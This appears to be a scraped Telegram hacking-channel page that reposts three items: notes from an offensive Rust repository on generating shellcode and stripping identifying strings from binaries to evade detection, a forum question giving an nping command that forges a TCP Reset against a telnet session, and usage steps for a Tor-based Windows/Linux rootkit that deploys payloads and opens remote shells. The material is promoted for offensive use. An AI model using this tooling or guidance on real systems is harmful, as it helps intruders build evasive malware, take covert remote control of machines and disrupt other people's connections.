Hacking Articles Tips Tricks Videos Tutorials
467 subscribers
65.7K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
cargo new This will automatically create the structured project folders with: project
├── Cargo.toml
└── src
└── main.rs Cargo.toml is the file that contains the dependencies and the configuration for the compilation. main.rs is the main file that will be compiled along with any potential directories that contain libraries. For compiling the project, go into the project directory (https://www.kitploit.com/search/label/Directory) and execute:
cargo build This will use your default toolchain. If you want to build the final "release" version execute:
cargo build --release For static binaries, in terminal before the build command execute:
"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat"
set RUSTFLAGS=-C target-feature=+crt-static In case it does not feel easy for you to read my code the way it is written,
you can also you the below command inside the project directory to format it in a better way
cargo fmt Certain examples might not compile and give you some error, since it might require a nightly
build of Rust with the latest features. To install it just do:
rustup default nightly The easiest place to find the dependencies or Crates (https://crates.io/) as they are called. Cross Compiling Cross-Compiling requires to follow the instructions here (https://rust-lang.github.io/rustup/cross-compilation.html) By installing different toolchains, you can cross compile with the below command
cargo build --target To see the installed toolchains on your system do:
rustup toolchain list For checking all the available toolchains you can install in your system do:
rustup target list For installing a new toolchain do:
rustup target add Optimizing executables for size This repo (https://github.com/johnthagen/min-sized-rust) contains a lot of configuration options and ideas about reducing the file size. Static binaries are usually quite big. Pitfalls I found myself falling into Careful of \0 bytes, do not forget them for strings in memory, I spent a lot of my time but windbg always helped resolving it. Interesting Rust libraries WINAPI WINAPI2 (https://github.com/MauriceKayser/rs-winapi2) Windows - This is the official Microsoft one that I have not played much with OPSEC Even though Rust has good advantages it is quite difficult to get used to it and it ain't very intuitive. Shellcode generation is another issue due to LLVM. I have found a few ways to approach this.
Donut (https://github.com/TheWover/donut) sometimes does generate shellcode that works but depending on how the project is made, it might not.
In general, for shellcode generation the tools that are made should be made to host all code in .text segment, which leads to this amazing repo (https://github.com/b1tg/rust-windows-shellcode). There is a shellcode sample in this project that can show you how to structure your code for successfull shellcode generation.
In addition, this project also has a shellcode generator that grabs the .text segment of a binary and and dumps the shellcode after executing some patches.
This project grabs from a specific location the binary so I made a fork that receives the path of the binary as an argument here (https://github.com/trickster0/rust-windows-shellcode-custom). Even if you remove all debug symbols, rust can still keep references to your home directory in the binary. The only way I've found to remove this is to pass the following flag: --remap-path-prefix {your home directory}={some random identifier}. You can use bash variables to get your home directory and generate a random placeholder: --remap-path-prefix "$HOME"="$RANDOM". (By Yamakadi (https://github.com/yamakadi)) Although for the above there is another way to remove info about the home directory by adding at the top of Cargo.toml

___________________________
@hacking_Attack
@Hacking_Video
cargo-features = ["strip"] . Since Rust by default leaves a lot of things as strings in the binary, I mostly use this cargo.toml (https://github.com/trickster0/OffensiveRust/blob/master/cargo.toml) to avoid them and also reduce size
with build command
cargo build --release -Z build-std=std,panic_abort -Z build-std-features=panic_immediate_abort --target x86_64-pc-windows-msvc Other projects I have have made in Rust UDPlant (https://github.com/trickster0/UDPlant) - Basically a UDP reverse shell EDR Detector (https://github.com/trickster0/EDR_Detector) - Detects the EDRs of the installed system according to the .sys files installed Lenum (https://github.com/trickster0/Lenum) - A simple unix enumeration (https://www.kitploit.com/search/label/Enumeration) tool Projects in Rust that can be hepfull houdini (https://github.com/yamakadi/houdini) - Helps make your executable self-delete

Download OffensiveRust (https://github.com/trickster0/OffensiveRust)

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
[TCP Reset attack] how to set the sequence number directly with nping?

To attack a telnet connection, it takes to send the sequence number for a TCP Reset. But when I set the sequence number with:
# nping --tcp --flags rst -c1 --dest-ip server-ip -p 23 -S victim-ip -g victim-port --seq seqnumber-on-wireshark
the sequence number is absolutely not the one I've typed. To ensure the attack passes, I need to compute the following:
2^32 - seqnumber-by-default-of-the-attacker + seqnumber-on-wireshark
Would you know how to set the sequence number directly?

submitted by /u/thomasbbbb
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Tor-Rootkit : A Python 3 Standalone Windows 10 / Linux Rootkit Using Tor

Tor-Rootkit is a Python 3 standalone Windows 10 / Linux Rootkit. The networking communication get’s established over the tor network.

How To Use

* Clone the repo and change directory:

git clone https://github.com/emcruise/TorRootkit.git
cd ./tor-rootkit

Build docker container:

docker build -t listener .

Run docker container:

docker run -v $(pwd)/executables:/executables/ -it listener

Deploy the executables: When the listener is up and running it generates a “executables” directory containing different payloads for different plattforms.

TorRootkit/
│ …
└ executables/

Note: The client can take some time to connect because PyInstaller executables are a bit slower and it need’s to start tor.

Features

* Standalone executables for Windows and Linux, including python interpreter and tor
* the whole communication works over tor hidden services which guarantees some degree of anonymity
* The Listener can handle multiple clients
* The Listener generates payloads for different platforms on startup

Listener Shell Commands
CommandExplanationhelpShows the help menu^C or exitExits the shelllistlists all connected clients with their according indexselect start shell with client
Client Shell Commands
CommandExplanationhelpShows the help menu^C or exitExits the client shell and returns to listener shellos Executes a command in the clients shell and returns the outputbackgroundKeeps the connection to a client and returns to listener

Download

___________________________
@hacking_Attack
@Hacking_Video